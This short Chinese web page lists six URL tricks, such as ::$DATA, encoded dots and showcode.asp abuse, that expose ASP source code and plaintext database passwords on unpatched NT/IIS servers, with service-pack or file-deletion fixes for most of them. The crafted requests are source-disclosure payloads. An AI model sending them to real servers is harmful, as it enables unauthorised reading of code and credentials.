歡迎來到Linux教程網
Linux教程網
Linux教程網
Linux教程網
Linux教程網 >> Linux綜合 >> Linux資訊 >> Linux文化 >> 偷看ASP原碼的6種方法

偷看ASP原碼的6種方法

日期:2017/2/27 12:18:50   编辑:Linux文化

在沒有打Services Pack6補丁的NT server上,至少有6種方法可以看到ASP程序的源代碼,它們是:

1、http://www.someserver.com/msadc/Samples/SELECTOR/showcode.asp?source=/msadc/Samples/SELECTOR/showcode.asp
解決方案:刪除showcode.asp

2、http://somewhere/something.asp::$DATA
解決方案: 裝sp3

3、http://somewhere/something.asp%2e
解決方案: 裝sp4

or http://somewhere/something.asp.(加一個點)
解決方案: 裝sp4

4、http://somewhere/something%2e%41sp
或者 http://somewhere/something%2e%asp
解決方案: 裝sp4

5、http://somewhere/something.asp%81
解決方案:裝sp6或者打補丁

6、http://somewhere/iissamples/exair/howitworks/code.asp?source=xxx.asp

最大的危害莫過於asp文件可以被上述方式讀出;數據庫密碼以明文形式暴露在黑客眼前;


Copyright © Linux教程網 All Rights Reserved